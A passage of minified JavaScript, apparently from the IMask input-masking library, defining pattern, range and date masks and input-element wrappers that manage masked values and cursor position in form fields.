EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]/,"*":/./},qn=function(){function t(e){kn(this,t);var n=e.mask,u=Cn(e,Wn);this.masked=Gn({mask:n}),Object.assign(this,u)}return mn(t,[{key:"reset",value:function(){this._isFilled=!1,this.masked.reset()}},{key:"remove",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length;return 0===t&&e>=1?(this._isFilled=!1,this.masked.remove(t,e)):new Un}},{key:"value",get:function(){return this.masked.value||(this._isFilled&&!this.isOptional?this.placeholderChar:"")}},{key:"unmaskedValue",get:function(){return this.masked.unmaskedValue}},{key:"isComplete",get:function(){return Boolean(this.masked.value)||this.isOptional}},{key:"_appendChar",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(this._isFilled)return new Un;var n=this.masked.state,u=this.masked._appendChar(t,e);return u.inserted&&!1===this.doValidate(e)&&(u.inserted=u.rawInserted="",this.masked.state=n),u.inserted||this.isOptional||this.lazy||e.input||(u.inserted=this.placeholderChar),u.skip=!u.inserted&&!this.isOptional,this._isFilled=Boolean(u.inserted),u}},{key:"append",value:function(){var t;return(t=this.masked).append.apply(t,arguments)}},{key:"_appendPlaceholder",value:function(){var t=new Un;return this._isFilled||this.isOptional||(this._isFilled=!0,t.inserted=this.placeholderChar),t}},{key:"extractTail",value:function(){var t;return(t=this.masked).extractTail.apply(t,arguments)}},{key:"appendTail",value:function(){var t;return(t=this.masked).appendTail.apply(t,arguments)}},{key:"extractInput",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,n=arguments.length>2?arguments[2]:void 0;return this.masked.extractInput(t,e,n)}},{key:"nearestInputPos",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:On,n=0,u=this.value.length,r=Math.min(Math.max(t,n),u);switch(e){case Tn:case In:return this.isComplete?r:n;case jn:case Vn:return this.isComplete?r:u;case On:default:return r}}},{key:"doValidate",value:function(){var t,e;return(t=this.masked).doValidate.apply(t,arguments)&&(!this.parent||(e=this.parent).doValidate.apply(e,arguments))}},{key:"doCommit",value:function(){this.masked.doCommit()}},{key:"state",get:function(){return{masked:this.masked.state,_isFilled:this._isFilled}},set:function(t){this.masked.state=t.masked,this._isFilled=t._isFilled}}]),t}(),Xn=function(){function t(e){kn(this,t),Object.assign(this,e),this._value=""}return mn(t,[{key:"value",get:function(){return this._value}},{key:"unmaskedValue",get:function(){return this.isUnmasking?this.value:""}},{key:"reset",value:function(){this._isRawInput=!1,this._value=""}},{key:"remove",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this._value.length;return this._value=this._value.slice(0,t)+this._value.slice(e),this._value||(this._isRawInput=!1),new Un}},{key:"nearestInputPos",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:On,n=0,u=this._value.length;switch(e){case Tn:case In:return n;case On:case jn:case Vn:default:return u}}},{key:"extractInput",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this._value.length,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return n.raw&&this._isRawInput&&this._value.slice(t,e)||""}},{key:"isComplete",get:function(){return!0}},{key:"_appendChar",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=new Un;if(this._value)return n;var u=this.char===t[0],r=u&&(this.isUnmasking||e.input||e.raw)&&!e.tail;return r&&(n.rawInserted=this.char),this._value=n.inserted=this.char,this._isRawInput=r&&(e.raw||e.input),n}},{key:"_appendPlaceholder",value:function(){var t=new Un;return this._value||(this._value=t.inserted=this.char),t}},{key:"extractTail",value:function(){return arguments.length>1&&void 0!==arguments[1]||this.value.length,new Hn("")}},{key:"appendTail",value:function(t){return Pn(t)&&(t=new Hn(String(t))),t.appendTo(this)}},{key:"append",value:function(t,e,n){var u=this._appendChar(t,e);return null!=n&&(u.tailShift+=this.appendTail(n).tailShift),u}},{key:"doCommit",value:function(){}},{key:"state",get:function(){return{_value:this._value,_isRawInput:this._isRawInput}},set:function(t){Object.assign(this,t)}}]),t}(),Jn=["chunks"],Qn=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;kn(this,t),this.chunks=e,this.from=n}return mn(t,[{key:"toString",value:function(){return this.chunks.map(String).join("")}},{key:"extend",value:function(e){if(String(e)){Pn(e)&&(e=new Hn(String(e)));var n=this.chunks[this.chunks.length-1],u=n&&(n.stop===e.stop||null==e.stop)&&e.from===n.from+n.toString().length;if(e instanceof Hn)u?n.extend(e.toString()):this.chunks.push(e);else if(e instanceof t){if(null==e.stop)for(var r;e.chunks.length&&null==e.chunks[0].stop;)(r=e.chunks.shift()).from+=e.from,this.extend(r);e.toString()&&(e.stop=e.blockIndex,this.chunks.push(e))}}}},{key:"appendTo",value:function(e){if(!(e instanceof Yn.MaskedPattern))return new Hn(this.toString()).appendTo(e);for(var n=new Un,u=0;u<this.chunks.length&&!n.skip;++u){var r=this.chunks[u],i=e._mapPosToBlock(e.value.length),a=r.stop,s=void 0;if(null!=a&&(!i||i.index<=a)&&((r instanceof t||e._stops.indexOf(a)>=0)&&n.aggregate(e._appendPlaceholder(a)),s=r instanceof t&&e._blocks[a]),s){var o=s.appendTail(r);o.skip=!1,n.aggregate(o),e._value+=o.inserted;var l=r.toString().slice(o.rawInserted.length);l&&n.aggregate(e.append(l,{tail:!0}))}else n.aggregate(e.append(r.toString(),{tail:!0}))}return n}},{key:"state",get:function(){return{chunks:this.chunks.map((function(t){return t.state})),from:this.from,stop:this.stop,blockIndex:this.blockIndex}},set:function(e){var n=e.chunks,u=Cn(e,Jn);Object.assign(this,u),this.chunks=n.map((function(e){var n="chunks"in e?new t:new Hn;return n.state=e,n}))}},{key:"shiftBefore",value:function(t){if(this.from>=t||!this.chunks.length)return"";for(var e=t-this.from,n=0;n<this.chunks.length;){var u=this.chunks[n],r=u.shiftBefore(e);if(u.toString()){if(!r)break;++n}else this.chunks.splice(n,1);if(r)return r}return""}}]),t}(),tu=function(t){_n(n,t);var e=Fn(n);function n(){return kn(this,n),e.apply(this,arguments)}return mn(n,[{key:"_update",value:function(t){t.mask&&(t.validate=function(e){return e.search(t.mask)>=0}),Dn(An(n.prototype),"_update",this).call(this,t)}}]),n}(Zn);Yn.MaskedRegExp=tu;var eu=["_blocks"],nu=function(t){_n(n,t);var e=Fn(n);function n(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return kn(this,n),t.definitions=Object.assign({},$n,t.definitions),e.call(this,Object.assign({},n.DEFAULTS,t))}return mn(n,[{key:"_update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};t.definitions=Object.assign({},this.definitions,t.definitions),Dn(An(n.prototype),"_update",this).call(this,t),this._rebuildMask()}},{key:"_rebuildMask",value:function(){var t=this,e=this.definitions;this._blocks=[],this._stops=[],this._maskedBlocks={};var u=this.mask;if(u&&e)for(var r=!1,i=!1,a=0;a<u.length;++a){if(this.blocks)if("continue"===function(){var e=u.slice(a),n=Object.keys(t.blocks).filter((function(t){return 0===e.indexOf(t)}));n.sort((function(t,e){return e.length-t.length}));var r=n[0];if(r){var i=Gn(Object.assign({parent:t,lazy:t.lazy,placeholderChar:t.placeholderChar,overwrite:t.overwrite},t.blocks[r]));return i&&(t._blocks.push(i),t._maskedBlocks[r]||(t._maskedBlocks[r]=[]),t._maskedBlocks[r].push(t._blocks.length-1)),a+=r.length-1,"continue"}}())continue;var s=u[a],o=s in e;if(s!==n.STOP_CHAR)if("{"!==s&&"}"!==s)if("["!==s&&"]"!==s){if(s===n.ESCAPE_CHAR){if(++a,!(s=u[a]))break;o=!1}var l=o?new qn({parent:this,lazy:this.lazy,placeholderChar:this.placeholderChar,mask:e[s],isOptional:i}):new Xn({char:s,isUnmasking:r});this._blocks.push(l)}else i=!i;else r=!r;else this._stops.push(this._blocks.length)}}},{key:"state",get:function(){return Object.assign({},Dn(An(n.prototype),"state",this),{_blocks:this._blocks.map((function(t){return t.state}))})},set:function(t){var e=t._blocks,u=Cn(t,eu);this._blocks.forEach((function(t,n){return t.state=e[n]})),wn(An(n.prototype),"state",u,this,!0)}},{key:"reset",value:function(){Dn(An(n.prototype),"reset",this).call(this),this._blocks.forEach((function(t){return t.reset()}))}},{key:"isComplete",get:function(){return this._blocks.every((function(t){return t.isComplete}))}},{key:"doCommit",value:function(){this._blocks.forEach((function(t){return t.doCommit()})),Dn(An(n.prototype),"doCommit",this).call(this)}},{key:"unmaskedValue",get:function(){return this._blocks.reduce((function(t,e){return t+e.unmaskedValue}),"")},set:function(t){wn(An(n.prototype),"unmaskedValue",t,this,!0)}},{key:"value",get:function(){return this._blocks.reduce((function(t,e){return t+e.value}),"")},set:function(t){wn(An(n.prototype),"value",t,this,!0)}},{key:"appendTail",value:function(t){return Dn(An(n.prototype),"appendTail",this).call(this,t).aggregate(this._appendPlaceholder())}},{key:"_appendCharRaw",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=this._mapPosToBlock(this.value.length),u=new Un;if(!n)return u;for(var r=n.index;;++r){var i=this._blocks[r];if(!i)break;var a=i._appendChar(t,e),s=a.skip;if(u.aggregate(a),s||a.rawInserted)break}return u}},{key:"extractTail",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,u=new Qn;return e===n||this._forEachBlocksInRange(e,n,(function(e,n,r,i){var a=e.extractTail(r,i);a.stop=t._findStopBefore(n),a.from=t._blockStartPos(n),a instanceof Qn&&(a.blockIndex=n),u.extend(a)})),u}},{key:"extractInput",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(t===e)return"";var u="";return this._forEachBlocksInRange(t,e,(function(t,e,r,i){u+=t.extractInput(r,i,n)})),u}},{key:"_findStopBefore",value:function(t){for(var e,n=0;n<this._stops.length;++n){var u=this._stops[n];if(!(u<=t))break;e=u}return e}},{key:"_appendPlaceholder",value:function(t){var e=this,n=new Un;if(this.lazy&&null==t)return n;var u=this._mapPosToBlock(this.value.length);if(!u)return n;var r=u.index,i=null!=t?t:this._blocks.length;return this._blocks.slice(r,i).forEach((function(u){if(!u.lazy||null!=t){var r=null!=u._blocks?[u._blocks.length]:[],i=u._appendPlaceholder.apply(u,r);e._value+=i.inserted,n.aggregate(i)}})),n}},{key:"_mapPosToBlock",value:function(t){for(var e="",n=0;n<this._blocks.length;++n){var u=this._blocks[n],r=e.length;if(t<=(e+=u.value).length)return{index:n,offset:t-r}}}},{key:"_blockStartPos",value:function(t){return this._blocks.slice(0,t).reduce((function(t,e){return t+e.value.length}),0)}},{key:"_forEachBlocksInRange",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,n=arguments.length>2?arguments[2]:void 0,u=this._mapPosToBlock(t);if(u){var r=this._mapPosToBlock(e),i=r&&u.index===r.index,a=u.offset,s=r&&i?r.offset:this._blocks[u.index].value.length;if(n(this._blocks[u.index],u.index,a,s),r&&!i){for(var o=u.index+1;o<r.index;++o)n(this._blocks[o],o,0,this._blocks[o].value.length);n(this._blocks[r.index],r.index,0,r.offset)}}}},{key:"remove",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,u=Dn(An(n.prototype),"remove",this).call(this,t,e);return this._forEachBlocksInRange(t,e,(function(t,e,n,r){u.aggregate(t.remove(n,r))})),u}},{key:"nearestInputPos",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:On,n=this._mapPosToBlock(t)||{index:0,offset:0},u=n.offset,r=n.index,i=this._blocks[r];if(!i)return t;var a=u;0!==a&&a<i.value.length&&(a=i.nearestInputPos(u,Rn(e)));var s=a===i.value.length,o=0===a;if(!o&&!s)return this._blockStartPos(r)+a;var l=s?r+1:r;if(e===On){if(l>0){var h=l-1,c=this._blocks[h],f=c.nearestInputPos(0,On);if(!c.value.length||f!==c.value.length)return this._blockStartPos(l)}for(var p=l,d=p;d<this._blocks.length;++d){var v=this._blocks[d],g=v.nearestInputPos(0,On);if(!v.value.length||g!==v.value.length)return this._blockStartPos(d)+g}for(var k=l-1;k>=0;--k){var y=this._blocks[k],m=y.nearestInputPos(0,On);if(!y.value.length||m!==y.value.length)return this._blockStartPos(k)+y.value.length}return t}if(e===Tn||e===In){for(var _,A=l;A<this._blocks.length;++A)if(this._blocks[A].value){_=A;break}if(null!=_){var b=this._blocks[_],C=b.nearestInputPos(0,jn);if(0===C&&b.unmaskedValue.length)return this._blockStartPos(_)+C}for(var E,F=-1,S=l-1;S>=0;--S){var D=this._blocks[S],B=D.nearestInputPos(D.value.length,In);if(D.value&&0===B||(E=S),0!==B){if(B!==D.value.length)return this._blockStartPos(S)+B;F=S;break}}if(e===Tn)for(var w=F+1;w<=Math.min(l,this._blocks.length-1);++w){var M=this._blocks[w],x=M.nearestInputPos(0,On),P=this._blockStartPos(w)+x;if(P>t)break;if(x!==M.value.length)return P}if(F>=0)return this._blockStartPos(F)+this._blocks[F].value.length;if(e===In||this.lazy&&!this.extractInput()&&!uu(this._blocks[l]))return 0;if(null!=E)return this._blockStartPos(E);for(var O=l;O<this._blocks.length;++O){var T=this._blocks[O],I=T.nearestInputPos(0,On);if(!T.value.length||I!==T.value.length)return this._blockStartPos(O)+I}return 0}if(e===jn||e===Vn){for(var j,V,R=l;R<this._blocks.length;++R){var L=this._blocks[R],N=L.nearestInputPos(0,On);if(N!==L.value.length){V=this._blockStartPos(R)+N,j=R;break}}if(null!=j&&null!=V){for(var z=j;z<this._blocks.length;++z){var U=this._blocks[z],H=U.nearestInputPos(0,Vn);if(H!==U.value.length)return this._blockStartPos(z)+H}return e===Vn?this.value.length:V}for(var Y=Math.min(l,this._blocks.length-1);Y>=0;--Y){var Z=this._blocks[Y],K=Z.nearestInputPos(Z.value.length,Tn);if(0!==K){var G=this._blockStartPos(Y)+K;if(G>=t)return G;break}}}return t}},{key:"maskedBlock",value:function(t){return this.maskedBlocks(t)[0]}},{key:"maskedBlocks",value:function(t){var e=this,n=this._maskedBlocks[t];return n?n.map((function(t){return e._blocks[t]})):[]}}]),n}(Zn);function uu(t){if(!t)return!1;var e=t.value;return!e||t.nearestInputPos(0,On)!==e.length}nu.DEFAULTS={lazy:!0,placeholderChar:"_"},nu.STOP_CHAR="`",nu.ESCAPE_CHAR="\\",nu.InputDefinition=qn,nu.FixedDefinition=Xn,Yn.MaskedPattern=nu;var ru=function(t){_n(n,t);var e=Fn(n);function n(){return kn(this,n),e.apply(this,arguments)}return mn(n,[{key:"_matchFrom",get:function(){return this.maxLength-String(this.from).length}},{key:"_update",value:function(t){t=Object.assign({to:this.to||0,from:this.from||0},t);var e=String(t.to).length;null!=t.maxLength&&(e=Math.max(e,t.maxLength)),t.maxLength=e;for(var u=String(t.from).padStart(e,"0"),r=String(t.to).padStart(e,"0"),i=0;i<r.length&&r[i]===u[i];)++i;t.mask=r.slice(0,i).replace(/0/g,"\\0")+"0".repeat(e-i),Dn(An(n.prototype),"_update",this).call(this,t)}},{key:"isComplete",get:function(){return Dn(An(n.prototype),"isComplete",this)&&Boolean(this.value)}},{key:"boundaries",value:function(t){var e="",n="",u=Mn(t.match(/^(\D*)(\d*)(\D*)/)||[],3),r=u[1],i=u[2];return i&&(e="0".repeat(r.length)+i,n="9".repeat(r.length)+i),[e=e.padEnd(this.maxLength,"0"),n=n.padEnd(this.maxLength,"9")]}},{key:"doPrepare",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(t=Dn(An(n.prototype),"doPrepare",this).call(this,t,e).replace(/\D/g,""),!this.autofix)return t;for(var u=String(this.from).padStart(this.maxLength,"0"),r=String(this.to).padStart(this.maxLength,"0"),i=this.value,a="",s=0;s<t.length;++s){var o=i+a+t[s],l=this.boundaries(o),h=Mn(l,2),c=h[0],f=h[1];Number(f)<this.from?a+=u[o.length-1]:Number(c)>this.to?a+=r[o.length-1]:a+=t[s]}return a}},{key:"doValidate",value:function(){var t,e=this.value,u=e.search(/[^0]/);if(-1===u&&e.length<=this._matchFrom)return!0;for(var r=this.boundaries(e),i=Mn(r,2),a=i[0],s=i[1],o=arguments.length,l=new Array(o),h=0;h<o;h++)l[h]=arguments[h];return this.from<=Number(s)&&Number(a)<=this.to&&(t=Dn(An(n.prototype),"doValidate",this)).call.apply(t,[this].concat(l))}}]),n}(nu);Yn.MaskedRange=ru;var iu=function(t){_n(n,t);var e=Fn(n);function n(t){return kn(this,n),e.call(this,Object.assign({},n.DEFAULTS,t))}return mn(n,[{key:"_update",value:function(t){t.mask===Date&&delete t.mask,t.pattern&&(t.mask=t.pattern);var e=t.blocks;t.blocks=Object.assign({},n.GET_DEFAULT_BLOCKS()),t.min&&(t.blocks.Y.from=t.min.getFullYear()),t.max&&(t.blocks.Y.to=t.max.getFullYear()),t.min&&t.max&&t.blocks.Y.from===t.blocks.Y.to&&(t.blocks.m.from=t.min.getMonth()+1,t.blocks.m.to=t.max.getMonth()+1,t.blocks.m.from===t.blocks.m.to&&(t.blocks.d.from=t.min.getDate(),t.blocks.d.to=t.max.getDate())),Object.assign(t.blocks,e),Object.keys(t.blocks).forEach((function(e){var n=t.blocks[e];"autofix"in n||(n.autofix=t.autofix)})),Dn(An(n.prototype),"_update",this).call(this,t)}},{key:"doValidate",value:function(){for(var t,e=this.date,u=arguments.length,r=new Array(u),i=0;i<u;i++)r[i]=arguments[i];return(t=Dn(An(n.prototype),"doValidate",this)).call.apply(t,[this].concat(r))&&(!this.isComplete||this.isDateExist(this.value)&&null!=e&&(null==this.min||this.min<=e)&&(null==this.max||e<=this.max))}},{key:"isDateExist",value:function(t){return this.format(this.parse(t,this),this).indexOf(t)>=0}},{key:"date",get:function(){return this.typedValue},set:function(t){this.typedValue=t}},{key:"typedValue",get:function(){return this.isComplete?Dn(An(n.prototype),"typedValue",this):null},set:function(t){wn(An(n.prototype),"typedValue",t,this,!0)}}]),n}(nu);iu.DEFAULTS={pattern:"d{.}`m{.}`Y",format:function(t){return[String(t.getDate()).padStart(2,"0"),String(t.getMonth()+1).padStart(2,"0"),t.getFullYear()].join(".")},parse:function(t){var e=Mn(t.split("."),3),n=e[0],u=e[1],r=e[2];return new Date(r,u-1,n)}},iu.GET_DEFAULT_BLOCKS=function(){return{d:{mask:ru,from:1,to:31,maxLength:2},m:{mask:ru,from:1,to:12,maxLength:2},Y:{mask:ru,from:1900,to:9999}}},Yn.MaskedDate=iu;var au=function(){function t(){kn(this,t)}return mn(t,[{key:"selectionStart",get:function(){var t;try{t=this._unsafeSelectionStart}catch(t){}return null!=t?t:this.value.length}},{key:"selectionEnd",get:function(){var t;try{t=this._unsafeSelectionEnd}catch(t){}return null!=t?t:this.value.length}},{key:"select",value:function(t,e){if(null!=t&&null!=e&&(t!==this.selectionStart||e!==this.selectionEnd))try{this._unsafeSelect(t,e)}catch(t){}}},{key:"_unsafeSelect",value:function(t,e){}},{key:"isActive",get:function(){return!1}},{key:"bindEvents",value:function(t){}},{key:"unbindEvents",value:function(){}}]),t}();Yn.MaskElement=au;var su=function(t){_n(n,t);var e=Fn(n);function n(t){var u;return kn(this,n),(u=e.call(this)).input=t,u._handlers={},u}return mn(n,[{key:"rootElement",get:function(){return this.input.getRootNode?this.input.getRootNode():document}},{key:"isActive",get:function(){return this.input===this.rootElement.activeElement}},{key:"_unsafeSelectionStart",get:function(){return this.input.selectionStart}},{key:"_unsafeSelectionEnd",get:function(){return this.input.selectionEnd}},{key:"_unsafeSelect",value:function(t,e){this.input.setSelectionRange(t,e)}},{key:"value",get:function(){return this.input.value},set:function(t){this.input.value=t}},{key:"bindEvents",value:function(t){var e=this;Object.keys(t).forEach((function(u){return e._toggleEventHandler(n.EVENTS_MAP[u],t[u])}))}},{key:"unbindEvents",value:function(){var t=this;Object.keys(this._handlers).forEach((function(e){return t._toggleEventHandler(e)}))}},{key:"_toggleEventHandler",value:function(t,e){this._handlers[t]&&(this.input.removeEventListener(t,this._handlers[t]),delete this._handlers[t]),e&&(this.input.addEventListener(t,e),this._handlers[t]=e)}}]),n}(au);su.EVENTS_MAP={selectionChange:"keydown",input:"input",drop:"drop",click:"click",focus:"focus",commit:"blur"},Yn.HTMLMaskElement=su;var ou=function(t){_n(n,t);var e=Fn(n);function n(){return kn(this,n),e.apply(this,arguments)}return mn(n,[{key:"_unsafeSelectionStart",get:function(){var t=this.rootElement,e=t.getSelection&&t.getSelection();return e&&e.anchorOffset}},{key:"_unsafeSelectionEnd",get:function(){var t=this.rootElement,e=t.getSelection&&t.getSelection();return e&&this._unsafeSelectionStart+String(e).length}},{key:"_unsafeSelect",value:function(t,e){if(this.rootElement.createRange){var n=this.rootElement.createRange();n.setStart(this.input.firstChild||this.input,t),n.setEnd(this.input.lastChild||this.input,e);var u=this.rootElement,r=u.getSelection&&u.getSelection();r&&(r.removeAllRanges(),r.addRange(n))}}},{key:"value",get:function(){return this.input.textContent},set:function(t){this.input.textContent=t}}]),n}(su);Yn.HTMLContenteditableMaskElement=ou;var lu=["mask"],hu=function(){function t(e,n){kn(this,t),this.el=e instanceof au?e:e.isContentEditable&&"INPUT"!==e.tagName&&"TEXTAREA"!==e.tagName?new ou(e):new su(e),this.masked=Gn(n),this._listeners={},this._value="",this._unmaskedValue="",this._saveSelection=this._saveSelection.bind(this),this._onInput=this._onInput.bind(this),this._onChange=this._onChange.bind(this),this._onDrop=this._onDrop.bind(this),this._onFocus=this._onFocus.bind(this),this._onClick=this._onClick.bind(this),this.alignCursor=this.alignCursor.bind(this),this.alignCursorFriendly=this.alignCursorFriendly.bind(this),this._bindEvents(),this.updateValue(),this._onChange()}return mn(t,[{key:"mask",get:function(){return this.masked.mask},set:function(t){if(!this.maskEquals(t))if(t instanceof Yn.Masked||this.masked.constructor!==Kn(t)){var e=Gn({mask:t});e.unmaskedValue=this.masked.unmaskedValue,this.masked=e}else this.masked.updateOptions({mask:t})}},{key:"maskEquals",value:function(t){return null==t||t===this.masked.mask||t===Date&&this.masked instanceof iu}},{key:"value",get:function(){return this._value},set:function(t){this.masked.value=t,this.updateControl(),this.alignCursor()}},{key:"unmaskedValue",get:function(){return this._unmaskedValue},set:function(t){this.masked.unmaskedValue=t,this.updateControl(),this.alignCursor()}},{key:"typedValue",get:function(){return this.masked.typedValue},set:function(t){this.masked.typedValue=t,this.updateControl(),this.alignCursor()}},{key:"_bindEvents",value:function(){this.el.bindEvents({selectionChange:this._saveSelection,input:this._onInput,drop:this._onDrop,click:this._onClick,focus:this._onFocus,commit:this._onChange})}},{key:"_unbindEvents",value:function(){this.el&&this.el.unbindEvents()}},{key:"_fireEvent",value:function(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),u=1;u<e;u++)n[u-1]=arguments[u];var r=this._listeners[t];r&&r.forEach((function(t){return t.apply(void 0,n)}))}},{key:"selectionStart",get:function(){return this._cursorChanging?this._changingCursorPos:this.el.selectionStart}},{key:"cursorPos",get:function(){return this._cursorChanging?this._changingCursorPos:this.el.selectionEnd},set:function(t){this.el&&this.el.isActive&&(this.el.select(t,t),this._saveSelection())}},{key:"_saveSelection",value:function(){this.value!==this.el.value&&console.warn("Element value was changed outside of mask. Syncronize mask using `mask.updateValue()` to work properly."),this._selection={start:this.selectionStart,end:this.cursorPos}}},{key:"updateValue",value:function(){this.masked.value=this.el.value,this._value=this.masked.value}},{key:"updateControl",value:function(){var t=this.masked.unmaskedValue,e=this.masked.value,n=this.unmaskedValue!==t||this.value!==e;this._unmaskedValue=t,this._value=e,this.el.value!==e&&(this.el.value=e),n&&this._fireChangeEvents()}},{key:"updateOptions",value:function(t){var e=t.mask,n=Cn(t,lu),u=!this.maskEquals(e),r=!Nn(this.masked,n);u&&(this.mask=e),r&&this.masked.updateOptions(n),(u||r)&&this.updateControl()}},{key:"updateCursor",value:function(t){null!=t&&(this.cursorPos=t,this._delayUpdateCursor(t))}},{key:"_delayUpdateCursor",value:function(t){var e=this;this._abortUpdateCursor(),this._changingCursorPos=t,this._cursorChanging=setTimeout((function(){e.el&&(e.cursorPos=e._changingCursorPos,e._abortUpdateCursor())}),10)}},{key:"_fireChangeEvents",value:function(){this._fireEvent("accept",this._inputEvent),this.masked.isComplete&&this._fireEvent("complete",this._inputEvent)}},{key:"_abortUpdateCursor",value:function(){this._cursorChanging&&(clearTimeout(this._cursorChanging),delete this._cursorChanging)}},{key:"alignCursor",value:function(){this.cursorPos=this.masked.nearestInputPos(this.cursorPos,Tn)}},{key:"alignCursorFriendly",value:function(){this.selectionStart===this.cursorPos&&this.alignCursor()}},{key:"on",value:function(t,e){return this._listeners[t]||(this._listeners[t]=[]),this._listeners[t].push(e),this}},{key:"off",value:function(t,e){if(!this._listeners[t])return this;if(!e)return delete this._listeners[t],this;var n=this._listeners[t].indexOf(e);return 